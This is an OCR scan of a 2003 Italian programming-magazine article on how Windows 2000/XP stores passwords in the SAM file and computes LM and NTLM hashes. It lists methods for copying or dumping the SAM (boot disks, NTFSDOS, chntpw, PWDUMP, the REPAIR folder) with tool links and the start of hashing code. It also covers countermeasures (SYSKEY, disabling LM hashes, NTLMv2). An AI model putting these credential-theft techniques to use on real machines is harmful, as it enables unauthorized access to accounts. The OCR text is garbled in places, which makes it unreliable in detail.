radice quadrata della somma dei quadrati delle differenze delle singole 
componenti: 




Un'altra distanza è la L1 o distanza Manhattan, essa è pari alla somma dei 
valori assoluti delle differenze delle singole componenti: 



■!'■ 



k=1 



Una speciale classe di distanze conosciute come metrica di Minkowski 
sono espresse dalla formula 



' 



[**-*/*! 



Al variare del parametro r si otterranno diverse distanze. Per r=1, r=2, r=3 
si ottengono rispettivamente le distanze L j, L2 e L y 



4 



http://www.ioprogrammo.it 



Dicembre 2003/25 ► 



TEORIA & TECNICA T La gestione delle Password di Windows 



Insicurezza delle Password del sistema Microsoft 

Mezza Password? 
Protezione a metà! 

Usereste mai una password lunga 14 caratteri sapendo che questa 
verrà poi divisa a metà? Sembrerà una domanda scontata, ma è 
quello che realmente avviene comunemente all'interno di Windows. 




Ci CD □ WEB 

\Pwdwin 



■ ■ •■■ ■ " • 




PER SAPERNE 
DI PIÙ 



BIOMETRIA E 

IMPRONTE 

DIGITALI 

Per saperne di più 

sul l'autenticazione 

forte attraverso le 

impronte digitali, si 

consiglia di andare a 

leggere l'articolo sul 

numero 65 di 

ioProgrammo. 



Le password sono da sempre l'anello più debo- 
le della catena "sicurezza". Mettiamo una pas- 
sword ad una applicazione, ad un sito web o 
ad un computer e ci sarà sempre qualcuno in grado 
di scoprirla, magari perché è scritta sul classico post- 
it giallo attaccato dietro al monitor (non capita solo 
nei film!) o soltanto perché non è poi così difficile 
indovinare il nome della nostra squadra del cuore. 
Sembra giunto il momento di mandare in pensione 
le care vecchie password una volta per tutte o - per 
essere più precisi - si tratta solo di migliorare il loro 
funzionamento. Già da tempo si studiano alternati- 
ve di autenticazione forte completamente diverse. 
Un fiorente campo di ricerca è infatti rappresentato 
oggi dai sistemi biometrici o dall'autenticazione 
basata su coppie del tipo "password+token", in cui 
all'utente è richiesta la conoscenza di una parola 
chiave correlata al possesso fisico di un oggetto 
come ad esempio una Smartcard. Si può dire che in 
un certo senso il meccanismo di autenticazione sta 
migrando dalla "conoscenza" (di una parola o di una 
frase nota solo all'utente legittimo) al "possesso" (di 
un oggetto o di una particolare caratteristica fisica 
come le impronte, la retina, il timbro della voce, 
ecc.). Questo breve preambolo sulle insicurezze 
delle password, è senz'altro, il modo migliore per 
avvicinarci all'argomento che tratteremo in questo 
numero di ioProgrammo, che rivolge le sue atten- 
zioni al mondo delle password nei sistemi Microsoft 
Windows 2000 e XP In particolare si parlerà in que- 
sto articolo di come avviene la memorizzazione 
delle password all'interno dei sistemi operativi in 
generale e successivamente verrà illustrato il SAM di 
Windows assieme ai meccanismi di autenticazione 
basati su LM e NTLM. L'obiettivo sarà comunque 
quello di mettere in luce le insicurezze e le vulnera- 
bilità tecnico/progettuali presenti nelle implemen- 
tazioni fatte da Microsoft. A questo proposito sarà 
richiesta ai lettori la conoscenza di alcune nozioni di 
crittografia classica, come il concetto di funzione 



Hash e gli algoritmi crittografici DES e MD4 (non 
pretendiamo che conosciate gli algoritmi a memo- 
ria, ma solo funzionamento), che saranno imple- 
mentati in maniera pratica con alcuni esempi che 
fanno uso del pacchetto OpenSSL. Premettiamo che 
l'articolo avrà comunque un seguito: una seconda 
parte in cui, forti delle nozioni e delle tecniche 
acquisite in queste pagine, ci cimenteremo nel rea- 
lizzare un'applicazione in grado di portare a termine 
un attacco efficace contro le password di Windows. 
Gli strumenti di sviluppo richiesti sono il compilato- 
re Visual C++ di Microsoft e le librerie crittografiche 
OpenSSL, che dovremo compilare. 



DOVE METTO 
LA PASSWORD? 

Il problema della memorizzazione delle password 
affligge, fin dalle origini, tutti i sistemi operativi, 
indistintamente; può considerarsi uno di quei pro- 
blemi di natura esistenziale, quasi filosofico, che 
ricorda molto la storia dell'uovo e della gallina (chi è 
nato prima?). Parliamo in questi termini perché 
problema di memorizzare le password è intrinseca- 
mente contraddittorio già nella formulazione dei 
suoi requisiti fondamentali, che sono: 

A. per verificare le credenziali e autenticare un 
utente bisogna poter confrontare la password 
immessa ad ogni accesso con quella reale 
memorizzata nel sistema; 

B. l'elenco delle password deve essere inaccessibile 
a chiunque in qualsiasi momento. 

Il punto (A) è ovviamente un requisito indispensabi- 
le per consentire ad un S.O. di gestire una moltitudi- 
ne di utenti con privilegi diversi, ma contraddice in 
parte il punto (B). Allo stesso modo il punto (B) è un 
requisito fondamentale della sicurezza, senza il 



»> 26/Dicembre 2003 



http://www.ioprogrammo.it 



La gestione delle Password di Windows H T TEORIA & TECNICA 



quale non sarebbe necessario definire il punto (A), 
perché se tutti potessero leggere le password altrui, 
non avrebbe senso utilizzarle. Per uscire da questa 
evidente contraddizione la soluzione scelta dai pro- 
gettisti è questa: innanzitutto si considera Sistema 
Operativo come un'entità a sé stante (la System 
Authorìty per intenderci), in secondo luogo si deve 
evitare di memorizzare la password vera e propria, 
ma al contrario qualcosa che possa rappresentarla e 
che, per quanto possibile, non consenta di risalire in 
alcun modo alla password reale. La prima conside- 
razione ammette quindi l'esistenza di un'entità 
astratta e super-partes, capace di maneggiare e 
gestire le password (qualcuno dovrà pure farlo, no?) 
che è il S.O. in persona; l'Administrator, l'utente col 
grado più alto, avrà comunque poteri limitati in que- 
sto rispetto al S.O., perché potrà creare nuovi utenti 
andando a scrivere nel file di password, ma non sarà 
in grado di leggere quelle già memorizzate. In 
aggiunta a questo, inoltre, il S.O. deve comunque 
sempre vigilare sul file delle password garantendone 
l'integrità rispetto a manomissioni e la sicurezza. La 
seconda ipotesi si traduce, invece, con una sola 
parola: crittografia. Usando la crittografìa, un S.O. 
può memorizzare una password in maniera codifi- 
cata e stabilire se un utente ha i diritti di accesso per 
mezzo del confronto fra la firma digitale della pas- 
sword reale (cioè una chiave hash) rispetto a quella 
calcolata sulla password immessa da input. 




Fig. 1: Principi che regolano l'autenticazione medi- 
ante password: il sistema non memorizza mai la pass- 
word reale, ma una sua codifica (hash) che viene con- 
frontata ad ogni accesso. 

Breve citazione: sotto Unix e sotto Linux il deposito 
delle password di sistema sta nel famoso file "letclpas- 
swd". Esistono ormai interi libri e migliaia di pubbli- 
cazioni sui segreti di /etc/passwd; in rete si possono 
facilmente trovare documenti che rivelano trucchi, 
stratagemmi e tool usati per leggere il contenuto di 
questo file cruciale, che in genere contiene righe 
simili a questa: 

mrossi : 6bWUWyJrreHL6: 60 : 129 : Mario Rossi : 

/home/ rossi :/bin/bash 

Sui sistemi Unix/Linux la password viene memoriz- 
zata nel secondo campo, subito dopo il nome uten- 
te; si vede chiaramente che in realtà non viene 
memorizzata la parola chiave in chiaro, ma una 



stringa cifrata, codificata utilizzando una versione 
modificata dell'algoritmo DES. Quando un utente 
digita la sua password per accedere, S.O. acquisi- 
sce una stringa da input, la cifra col DES e la con- 
fronta col valore memorizzato nel file /etc/passwd: se 
le due stringhe criptate coincidono, allora la pas- 
sword è corretta e l'utente può entrare. Questo sem- 
plice sistema è in grado di garantire allo stesso 
tempo la riservatezza delle password senza perdere 
la possibilità di autenticare gli utenti, tuttavia deve la 
sua robustezza a due fattori importanti: la non 
reversibilità dell'algoritmo crittografico (la funzione 
di criptaggio deve essere one-way e quindi non 
invertibile) e l'assenza di collisioni (non devono esi- 
stere password che generano la stessa stringa cripta- 
ta). Vedremo a breve che spesso non è semplice 
garantire entrambi questi requisiti. 



IL SANI DI WINDOWS 

Tutti ricorderanno benissimo che la famiglia 
Windows 9X non forniva alcun sistema di autenti- 
cazione a livello di accesso. La famosa schermata di 
richiesta password poteva essere saltata premendo 
ESC o semplicemente cliccando su "Annulla", per- 
ché in realtà non era una vera autenticazione di 
sistema. D'altra parte è anche vero che Microsoft ha 
iniziato a progettare Sistemi Operativi seri soltanto 
da NT in poi, e per l'autenticazione non ha fatto 
altro che seguire la strada in parte spianata dai siste- 
mi Unix. 

Il componente che gestisce oggi la sicurezza delle 
password sotto Windows 2000/XP è chiamato SAM 
(Security Accounts Manager) e consiste in una sorta 
di database in cui sono memorizzati gli account 
degli utenti, gli UserID e le chiavi hash delle loro pas- 
sword. Fisicamente il SAM è un file, nient' altro che 
questo. Si tratta di un file fisico memorizzato nella 
directory di sistema WINDOWS\SYSTEM32\CON- 
FIG. Questo file viene letto in fase di avvio dal siste- 
ma operativo ed è caricato nel registro di Windows; 
in fase di boot molte informazioni del SAM finisco- 
no quindi nel registro, e precisamente nella chiavi 
HKLMXSAM e in HKLM\SYSTEM\CurrentControl- 
Set\Control\Lsa. La struttura del SAM non è lineare e 
pulita come quella del file /etc/passwd, poiché segue 
uno schema proprietario, ma è simile al formato di 
dati usato anche dai file di registro {SYSTEM.DAT, 
USER.DAT). Esistono comunque su Internet molte 
utility che permettono di ottenere un dump leggibi- 
le degli account memorizzati nel SAM, di cui parle- 
remo meglio nel paragrafo seguente. Al momento ci 
interessa solo sapere che dal SAM si può ricavare un 
insieme di righe (una per ciascun account locale 
presente su Windows) ricavabili in questo formato: 

Administrator:500:AFlE236C6F6836A436106F874D 



( f — 

1 


v *\ 

) 

V 

1 




Per reperire tutti i tool 
e i programmi citati in 
questo articolo, si 
possono utilizzare i 
seguenti link: 

SAMDUMP: 

http://www.atstake.com/ 
research/lc/dist/samdump.zip 

PWDUMP2: 

http://razor.bindview.com/ 
tools/files/pwdump2.zip 

PWDUMP3e: 

http://www.polivec.com/ 
Downloads/pwdump3e,zip 

NTFSDOS: 

http://www.svsinternals.com 
/files/ntfs30r.zip 

CHNTPWD BootDisk : 

http://home.eunet.no/ 

-pnordahl/ntpasswd/ 

bd030426.zip 

SAMINSIDE: 

http://www.insidepro.com 
/saminside2 1demo.zip 



http://www.ioprogrammo.it 



Dicembre 2003/27 ► 



TEORIA & TECNICA T La gestione delle Password di Windows 




V 



2C5293:28C4D522D1 7AF99C781 86AB62030A4B1 :Ac 
count predefinito per l'amministrazione del compu- 
ter/dominio 

I campi estratti dal SAM, separati dal simbolo ":", 
possono essere interpretati in questa maniera: 

1) username dell'utente 

2) user-ID numerico associate all'utente 

3) LM Hash ricavato dalla password dell'u- 
tente (16 byte) 

4) NTLM Hash ricavato dalla password dell'u- 
tente (16 byte) 

5) eventuali commenti 

I campi "LM Hash" e "NTLM Hash" sono la rappre- 
sentazione criptata della password immessa dall'u- 
tente. Windows utilizza questi valori (entrambi lun- 
ghi 16 byte) per verificare se un utente ha il diritto di 
accedere oppure no ad un computer. Ma come mai 
due valori diversi per una sola password? In effetti è 
una cosa strana quella di memorizzare due chiavi 
hash, calcolate peraltro in maniera diversa, di una 
medesima password. Il valore LM Hash in realtà è 
diventato obsoleto nel tempo (vedremo che 
Windows prevede addirittura un modo per soppri- 
merlo) ed è mantenuto soltanto per compatibilità 



r TIPO 


SISTEMA 


REQUISITO/TOOL 


DESCRIZIONE ^ 


Accesso 

Fisico 

Indiretto 


Windows 
2000/XP 
con FAT32 


Floppy di avvio 
(disco di ripristino) 


Usando il normale disco di ripristino si può avviare 
il computer da floppy in modalità MS-DOS. Poiché 
Windows non è attivo, LSASS non blocca il file SAM 
che può essere quindi copiato ovunque usando ad 
esempio il comando "COPY C:XWINDOWS\ 
SYSTEM32\CONFIG\SAM C:\SAM.BAK". Il floppy di 
avvio non può però leggere partizioni di tipo NTFS. 


Accesso 

Fisico 

Indiretto 


Windows 
2000/XP 
con NTFS 


Floppy di avvio con 
NTFSDOS 


Per leggere il file SAM anche su partizioni NTFS, 
superando le restrizioni del floppy di avvio, si può 
copiare sul dischetto l'utility freeware NTFSDOS di 
Syslntemals, che è un driver in grado di abilitare 
MS-DOS alla lettura di partizioni NTFS. Il resto è 
identico al caso precedente. 


Accesso 

Fisico 

Indiretto 


Windows 
2000/XP 
con NTFS 


Boot con CD-ROM 
Linux 


Avviando il computer dal CD-ROM di installazione 
di Mandrake Linux e digitando "rescue" si entra 
in modalità console e si possono montare le 
partizioni del disco fisso su /mnt. Una volta fatta 
questa operazione, si può leggere l'intero disco fisso 
di Windows e copiare il file SAM ovunque usando 
questa volta il comando Linux "cp". 


Accesso 

Fisico 

Indiretto 


Windows 
2000/XP 
con NTFS 


CHNTPWD "Ornine 
NT Password & 
Registry Editor" 


Si tratta di un floppy di boot (la cui immagine è 
prelevabile da Internet) dotato di un mini-sistema 
Linux in grado di accedere al file SAM e modificarne il 
contenuto. Questo floppy consente tramite l'utility 
"chntpw" perfino di rimuovere/modificare la pas 
sword di Administrator. 


Accesso 
Diretto come 
Administrator 


Windows 
2000/XP 


PWDUMP 


PWDUMP è un tool in grado di collegarsi a LSASS 
e iniettare alcune richieste specifiche nel servizio di 
security sfruttando una DLL particolare. Grazie a 
questo trucco è possibile leggere direttamente da 
LSASS tutte le hash delle password, anche da 
remoto. 


Accesso 
Diretto 
come utente 
normale 


Windows 
2000/XP 


Cartella REPAIR 


Una copia - non aggiornata - del file SAM si trova 
nella cartella C:\WINDOWS\REPAIR. Questo file, a 
differenza del vero SAM, non è protetto da LSASS 
ed è completamente accessibile agli occhi di tutti. 
Tuttavia gli account contenuti in questa copia del 
file SAM potrebbero non essere allineati con quelli 
veri. Sarebbe opportuno forzare un aggiornamento 
della cartella REPAIR prima di esportare il SAM. 


TABELLA 1: Mille modi per accedere al SAM , 



coi vecchi sistemi operativi; quando ci autentichia- 
mo su Windows il controllo di accesso è fatto utiliz- 
zando solo il valore NTLM Hash. Questo fatto ha 
importanti implicazioni di sicurezza, perché dal 
punto di vista tecnico, la chiave LMHash è vulnera- 
bile ad attacchi crittografici a causa di alcune debo- 
lezze progettuali di Microsoft. La presenza di due 
hash della stessa password è quindi superflua ed è 
fonte di vulnerabilità per Windows. Il calcolo dei due 
valori di hash, a partire da una password immessa, 
verrà descritto a breve, con alcuni esempi di codice. 



LA (MI)SICUREZZA 
DEL SAM 

Leggendo il paragrafo precedente di sicuro molti 
avranno pensato di accedere subito al file del SAM, 
ma - ahimè - con una triste sorpresa! L'accesso a tale 
file, mentre Windows è in esecuzione, è negato a 
tutti, perfino all'Administrator in persona. Questa è 
una restrizione di sicurezza impostata dal processo 
LSASS [Locai Security Authority Service) di Windows, 
che in fase di avvio esegue un lock sul file SAM, 
impedendo l'accesso a chiunque e impostando altre 
restrizioni di lettura anche sulle zone del registro di 
Windows che replicano parte del SAM. 
Poiché LSASS non può essere terminato (è un pro- 
cesso di sistema), ne consegue che il file SAM è inac- 
cessibile rispetto alla copia, all'editing, alla visualiz- 
zazione e alla modifica. . ..o almeno così pare. 




Fig. 2: SAM è il file che contiene tutte le informazioni 
sugli utenti, comprese gli hash delle loro password. 
Per questo motivo, quando Windows è in esecuzione, 
non è possibile accedere a tale file 



Per leggere il SAM di Windows in maniera furtiva esi- 
stono però un'infinità di trucchi e stratagemmi sco- 
perti dagli hacker, che possiamo descrivere con la 
Tabella 1. Si può notare che gli stratagemmi per 
accedere al SAM sono molti e sono questi la causa 
principale delle insicurezze di Microsoft. Per blocca- 
re questo tipo di attacchi si può usare una contromi- 
sura fisica e logica: la prima consiste nell'impedire 
che una macchina possa essere avviata da floppy o 
da CD, usando le restrizioni del BIOS. La contromi- 
sura logica più importante è invece l'uso di SYSKEY, 



»> 28/Dicembre 2003 



http://www.ioprogrammo.it 



La gestione delle Password di Windows H T TEORIA & TECNICA 



■UfflBT^^^^fflff^^^^B 


File Opzioni Wisualiasa \ hludi sessione ? 










| Applicazioni j Processi Prestazioni Rete Utenti | 
















■:■? immagine Nome utente ID sessione 


CPU 


Utilizzo... 


* 




System SYSTEM 


00 


220 KB 




srnss.exe SYSTEM 


00 


464 KB 








csrs5.exe SYSTEM 


,„ 


4.296 KB 








winlogon.exe SYSTEM 


0( 


496 KB 








SERVICES. EIC SYSTEM 


00 


3.516 KB 






SVCHOST.EXE SYSTEM 


00 


3.532 KB 




5VCHOST.EXE SYSTEM 


00 


16.668 KB 








cc5etMgr.exe SYSTEM Q 


"'. 


4.124 KB 








ccEvtMgr.exe SYSTEM 


,..' 


2.588 KB 








5pO0l5V.exe SYSTEM 


00 


4,036 KB 








lnetinfo.exe SYSTEM Q 


"'. 


5.880 KB 








5scan5vc.exe SYSTEM 


II. 


2.988 KB 








mdm.exe SYSTEM 


,..' 


3.368 KB 








navapsvt.exe system q 


"'. 


3.648 KB 








nmapserv.exe SYSTEM 


00 


2.508 KB 








ServUDaemon.exe SYSTEM 


00 


4.352 KB 








5VCHOST.EXE SYSTEM 


oc 


3.456 KB 


v 














l^J Mostra processi . tutti gli utenti 


| Termina processo 


Processi: 35 Utilizzo CPU: 0% Memoria allocata: 226M / 



Fig. 3: II servizio LSASS (Locai Security Authotity 
Service) di Windows ha il compito di proteggere il 
SAM impedendone la lettura. 

un tool progettato da Microsoft per criptare l'intero 
file SAM. Aggiungendo questo secondo livello di 
crittografia al SAM (si cripta un file contenente a sua 
volta dati già criptati), si possono bloccare tutti gli 
accessi fisici indiretti mirati alla copia del SAM, poi- 
ché quando SYSKEY è installato, il file SAM è decrip- 
tato solo quando Windows è attivo. A tal proposito 
riportiamo una breve descrizione su come attivare 
SYSKEY in queste pagine. Ricordiamo, inoltre, che 
sempre in questo articolo è possibile trovare i colle- 
gamenti utili per prelevare da Internet tutti i tool e le 
utility citate come NTFSDOS, PWDUMP e 
CHTNPWD. 



CALCOLO DI LIVI HASH 

Una volta rubato il file SAM, utilizzando l'utility 
SAMDUMP seguita dal nome del file, si può fare il 
dump degli account e degli hash delle password, nel 
formato descritto poc'anzi. Avere gli hash non signi- 
fica comunque avere la password, siamo ancora a 
metà dell'opera e il cammino verso la meta è ancora 




Fig. 4: CHNTPWD all'opera. Si tratta di un disco di 
boot che monta un mini-sistema Linux capace di 
accedere alle partizioni NTFS e in grado di leggere (e 
modificare) il SAM di Windows. Può essere usato per 
rimuovere la password di Administrator. 



lungo! Per capire se esiste un metodo valido in grado 
di forzare gli hash conviene studiare da vicino i due 
algoritmi crittografici usati da Microsoft. Il calcolo di 
LM Hash è effettuato attraverso l'algoritmo critto- 
grafico DES sulla password immessa dall'utente. 
L'algoritmo di calcolo di questa chiave segue alcuni 
passi fondamentali, schematizzati in questo pseu- 
do-codice; nella parte conclusiva di questo primo 
articolo scriveremo un codice C++ in grado di calco- 
lare questo tipo di hash. 



I 



Vi 



f 


DESCRIZIONE 


PSEUDO-CODICE ^ 


1 


La password (P) immessa dall'utente viene 
convertita in maiuscolo 


Pl=UppeiCase(P) 


2 


La password (PI) viene troncata a 14 caratteri; se è 
minore, vengono aggiunti tanti 0x00 fino ad 
arrivare alla lunghezza di 14 bytes 


P2=TruticAndPad(Pl) 


3 


La password (P2) viene scomposta in due blocchi di 
lunghezza 7 bytes ciascuno 


P2A=P2[0..7] 
P2B= P2[7..14] 


4 


I due blocchi (P2A e P2B) vengono usati 
rispettivamente come chiavi per criptare la stringa 
fissata "KGS!@#$%" usando l'algoritmo DES; 
l'output generato (Kl e K2) sono due chiavi hash 
da 8 bytes 


Kl = DES("KGS!@#$%", P2A) 
K2 = DES("KGS«.m$%", P2B) 


5 


I valori hash ottenuti al passo precedente (Kl e K2) 
vengono concatenati per formare un LM Hash di 
16 bytes 


LMHosh = concat(Kl,K2) 


i TABELLA 2: Passi eseguiti dell'algoritmo crittografico DES sulla password. . 




Fig. 5: La cartella \WINDOWS\REPAIR contiene, soli- 
tamente, una copia di backup, non aggiornata, del 
file SAM, che può essere letta senza alcun problema. 




SYSKEY 

SYSKEY.EXE è l'utility di protezione 
del SAM messa a disposizione da 
Microsoft per criptare tutto il 
contenuto del file di password. 
Questo tool lavora in due modi: 
memorizzando la chiave di 
criptaggio nel computer stesso (che 
equivale solo a spostare il 
problema...) oppure memorizzare la 
chiave su un floppy, procedura più 
sicura ma che richiederà, ad ogni 
avvio, la presenza del dischetto con 
la chiave. Su Windows 2000 e XP 
questa utility è installata per 
default nel sistema e può essere 
richiamata digitando SYSKEY.EXE. 
Le ultime versioni di PWDUMP e di 
SAMINSIDE riescono comunque a 



bypassare anche questa protezione. 



Chiave di avvio |X| 




_ 






Richiede l'immissione di una password durante l'avvio 
del sistema. 




Password: 


Conferma password: 1 










f*~ Archivia chiave di avvio su disco floppy 

Richiede l'inserimento di un disco floppy durante 
l'avvio del sistema. 

C Archivia chiave di avvìo a livello locale 
Una chiave wit ine archiVEita come parte del 
sistema operativo Non è richiesta alcuna 
interazione da parte dell'utente durante l'avvio del 
sistema. 












0K Annulla | 











http://www.ioprogrammo.it 



Dicembre 2003/29 ► 



TEORIA & TECNICA T La gestione delle Password di Windows 




Fig. 6: Schema di funzionamento logico dell'algoritmo 
LM Hash. I problemi di sicurezza di questo algoritmo 
sono sotto gli occhi di tutti. 



f— 


DESCRIZIONE 


PSEUDO-CODICE ^ 


1 


La password (P) immessa dall'utente viene convertita in 
Unicode. Sono trattate password fino a 128 caratteri. 
L'output ha dimensione variabile fino ad un massimo di 
256 caratteri ed è Case Sensitive. 


Pl=Unicode(P) 


2 


Si applica l'algoritmo MD4 (Message Digest) sulla 
password convertita in Unicode (PI) per generare una 
chiave hash di 16 bytes, che è proprio NTLM hash 


NTLMHash=MD4(Pl) 

A 


. TABELLA 3: Passi eseguiti dall'algoritmo eli firma digitale MD4 



CALCOLO NTLM HASH 

NTLM Hash è stato introdotto in seguito da 
Microsoft, per migliorare alcuni aspetti poco sicuri 
di LM Hash. In particolare l'algoritmo di calcolo di 
NTLM Hash non spezza più la password in due bloc- 
chi da 7 bytes, ma viene usata la password nella sua 
interezza, lunga fino a 128 caratteri e inoltre viene 
rispettata la differenza fra maiuscole e minuscole. 
L'algoritmo crittografico utilizzato non è più il DES 
(che nel caso precedente richiedeva una chiave pre- 
fissata), ma l'algoritmo di firma digitale MD4, sicu- 
ramente più adatto allo scopo. 




DISABILITARE GLI LM HASH DA REGISTRO 



Per evitare la memorizzazione degli 
obsoleti LM hash da Windows, a 
causa delle vulnerabilità che essi 
apportano, si può procedere così. 
Aprire il REGEDIT e posizionarsi alla 
chiave HKLM\System 
\CurrentControlSet\Control\Lsa ed 
inserire il seguente valore: 

• per Windows XP/Server 2003: 
creare un nuovo valore DWORD 
chiamato "NoLMHash" e 
impostarlo ad "1" 

• per Windows 2000 >SP2: creare 
semplicemente una nuova 
chiave chiamata "NoLMHash" 

Maggiori informazioni sono 



disponibili sul Microsoft 
Knowledge Base Artide nr. 299656, 
al sito http://support.microsoft.com/ 
support/kb/articles/q299/6/56.asp 




SICUREZZA: 
LM VS. NTLM 

Quanto sono sicuri e affidabili i due sistemi? 
Guardiamo per un momento LM Hash. Una prima 
analisi rivela subito alcune incongruenze di fondo, 
dovute più che altro alle scelte progettuali di 
Microsoft. Convertire una password in maiuscolo 
significa ridurre la base delle combinazioni genera- 
bili da un alfabeto di 52 simboli, ad uno di soli 26, 
abbattendo drasticamente l'intero spazio di ricerca. 
L'insieme di combinazioni ottenibili con password 
alfabetiche possibili passa infatti da 52 L (con L=lun- 
ghezza della password) a 26 L , con una riduzione di 
un fattore 2 L ; al crescere di L anche questa riduzione 
aumenta drasticamente. 




Fig. 7: Schema di funzionamento logico dell'algoritmo 
NTLM Hash. Utilizza MD4 al posto del DES e lavora 
su password in formato Unicode. 

Il secondo problema deriva, invece, dalla scomposi- 
zione della password in due blocchi da 7: questo 
significa che, quando l'utente utilizza una password 
complessa, lunga 11 o 12 caratteri, lo spazio di ricer- 
ca rimane fissato sempre su 26 7 (a causa della scom- 
posizione) al posto di quello reale, che sarebbe del- 
l'ordine di 26 11 o 26 12 . Traducendo in numeri quanto 
detto si ha che: 

• le combinazioni di password alfabetiche 
da esplorare - in teoria - sarebbero in tutto 
52 14 (diversi milioni di miliardi), senza con- 
siderare numeri e simboli speciali; 

• le combinazioni di password alfabetiche 
da esplorare - in pratica - a causa della cat- 
tiva implementazione fatta da Microsoft 
sono soltanto 26' (circa 8 miliardi); 

C'è una bella differenza! Il terzo tipo di problema 
riguarda invece le password nulle: quando si verifica 
questa occorrenza, l'algoritmo si trova a criptare col 
DES blocchi di byte nulli. Ciò ha un effetto visibile 
immediato: in presenza di password nulle si avrà un 
valore hash del singolo blocco uguale a "OxAAD 
3B435B51404EE". Tale eventualità si verifica anche 
nel caso di password lunga 7 caratteri esatti, perché 



»> 30/ Dicembre 2003 



http://www.ioprogrammo.it 



La gestione delle Password di Windows H T TEORIA & TECNICA 



a causa del padding con valori nulli, avremo il 
secondo blocco da criptare, riempito dall'algoritmo 
con valori 0x00. Questo tipo di insicurezze nell'algo- 
ritmo LM Hash rendono possibile implementare un 
cracker efficiente in grado di esplorare l'intero spa- 
zio di ricerca in poco tempo, giungendo rapidamen- 
te a scoprire qualsiasi password, ma questo lo vedre- 
mo da vicino nella seconda parte di questo articolo. 
Discorso diverso va fatto per l'algoritmo NTLM 
Hash: i problemi di conversione in maiuscolo e di 
lunghezza troncata sono risolti, inoltre MD4 non 
necessita di stringhe fissate, ma opera direttamente 
sull'intera password. Qualche obiezione è stata sol- 
levata sul fatto che la conversione Unicode traduce i 
caratteri in una coppia di byte, in cui è presente 
sempre il valore 0x00 (ad esempio 0x65 diventa 
0x0065), introducendo quindi una serie di valori 
nulli in posizioni sempre costanti. Questo fatto di 
sicuro ha qualche ripercussione sull'algoritmo MD4 
e potrebbe avvantaggiare eventuali attacchi crittoa- 
nalitici che però non affronteremo in questa sede. 
Ciò che possiamo concludere è che, la presenza del 
valore LM Hash nel file SAM, genera una vulnerabi- 
lità intrinseca nelle password di sistema di Windows: 
attraverso un cracker veloce è realmente possibile 
forzare le password, sfruttando come termine di 
confronto proprio tale valore. 



pi, tuttavia è sempre possibile ottenerli scaricando il 
file openssl-0.9.7c.tar.gz e compilando l'intera libre- 
ria. La compilazione di OpenSSL sotto Windows si 



Tools SGarch About 

*™ I U^rType | LM Passwon 



-!□[* 



.: ■ ■ ..-'..;■ . : ■.■-..■ ... ■■ ■:■ ■ ■: . i . ... , .■ . 

73CC402BD3E791756C3D3B817E02809D C7E 2622D 76D 3F001 CFOBB 0753 

3466C2G0487FE3&U17EAF50CFAC2SC3 80030E356D15FB1942772DCFD 

89D42A44E7714OAM4D3B435B51404EE C5663434F963BE79C8FD93F53! 
■■ : : ■■:■ - ■ ' ,.;■■■'. .■ . 

■ ■ . ■ .,......■;■ , ,.... 

DCF9CW6DBC2F2DFAAD3B435B51404EE FA'ii ■ ■ ■ ■:' 



|.*L.D(Ffii-n.ii LJ.il iuPuFi-E- f ij -■"■-.-■-.■: -:,-■ 



Fig. 8: SAMINSIDE è un tool in grado di leggere il file 
SAM (anche in presenza della protezione SYSKEY) e 
capace di effettuare un brute-force delle password 
velocissimo. 



può fare con Visual C++ (il compilatore di Microsoft 
"cl.exe" deve essere nel PATH di Windows) usando 
una qualsiasi versione di Perl (prelevabile ad esem- 
pio da http://www.indigostar.com/download/indigo- 
perl-5.6.zip). I comandi per la compilazione com- 
pleta di OpenSSL vanno digitati all'interno nella car- 
tella dove è stato scompattato il tar.gz e sono i 
seguenti: 

• peri Configure VC-WIN32 

• ms\do_ms.bat 

• nmake-f msVntdll.mak 




COMPILARE OPENSSL 

Dopo aver studiato il file di SAM e i meccanismi 
usati da Microsoft per generare le chiavi hash, è il 
caso di passare ad implementare praticamente que- 
sti due algoritmi (LMHash e NTLM Hash) che saran- 
no i mattoni fondamentali del nostro cracker per le 
password di Windows. Per implementare LM Hash e 
NTLM Hash ci servono, senza ombra di dubbio, gli 
algoritmi DES e MD4, che sono disponibili (in ver- 
sione sorgente) nella libreria crittografica OpenSSL 
0.9.7c (www.openssl.org). I componenti della libre- 
ria che ci interessa creare sono in particolare tre: 

1. la cartella \INC32, che contiene le classi C++ 
degli algoritmi crittografici e che si ottiene 
avviando la compilazione di OpenSSL sotto 
Windows; 

2. la libreria C++ "libeay32.1ib", prelevata al ter- 
mine della compilazione di OpenSSL dalla car- 
tella \OUT32DLL e necessaria per compilare 
tutti i nostri esempi; 

3. la libreria dinamica "libeay32.dll", prelevata 
sempre da \OUT32DLL e necessaria per esegui- 
re gli esempi creati; 

Per semplicità tutti questi file sono allegati nel CD- 
ROM di ioProgrammo o sul Web (wwwioprogram- 
mo.it) e devono essere usati per compilare gli esem- 



Per qualsiasi dubbio si può fare riferimento al file di 
help "INSTALL.W32". Ricordiamo, inoltre, che per il 
sorgente C++ proposto in questo articolo [WINPAS- 
SWD.CPP) è necessario eseguire la compilazione 
mantenendo "\INC32" e le librerie "libeay32" citate 
prima nella stessa cartella dove si trova il file sorgen- 
te CPR II compilatore "ci" deve essere richiamato 
usando l'opzione "-I INC32", che suggerisce a MS 
Visual C++ di cercare le classi richieste nella cartella 
specificata. 




PROTOCOLLI DI CHALLENGE/RESPONSE 



La mutua autenticazione in rete 
effettuata dai sistemi Windows usa 
un algoritmo di Challenge/ 
Response, cioè il server propone 
una "sfida" al client, rappresentata 
da un certo numero e aspetta una 
risposta giusta alla sfida, che è 
calcolata criptando il numero 
proposto con i valori hash LM o 
NTLM. Ciò implica che le chiavi 
hash delle nostre password, a 
volte, vanno in giro per la rete e 
possono essere tranquillamente 
catturate con uno sniffer e 
attaccate. L'articolo presente al link 



http://davenport,sourceforqe .netArtlm.html 
documenta in maniera egregia 
tutti i tipi di Challenge/Response 
usati di Windows, con esempi di 
codice in Java. Per ovviare a questo 
problema di sicurezza conviene 
utilizzare solo il protocollo 
NTLMv2, che si attiva settando il 
valore 5 nella chiave del registro 
HKLlVr\System\CurrentControlSet\Co 
ntrol\Lsa\LMCompatibilityLevel. Ciò 
impedisce però a Windows 9X di 
autenticarsi su computer con 
versioni più aggiornate. 



http://www.ioprogrammo.it 



Dicembre 2003/31 ► 



TEORIA & TECNICA T La gestione delle Password di Windows 




ESEMPIO PRATICO: 
CALCOLIAMO LM 
E NTLM 

Ed ecco finalmente le funzioni di hashing imple- 
mentate in linguaggio C++: 

//calcolo LM Hash 

void HashLM(BYTE Plain[7], BYTE Hash[8]) 

{ //Microsoft magic word "KGS!@#$%" 

unsigned char magic[] = {0x4B, 0x47, 0x53, 0x21, 
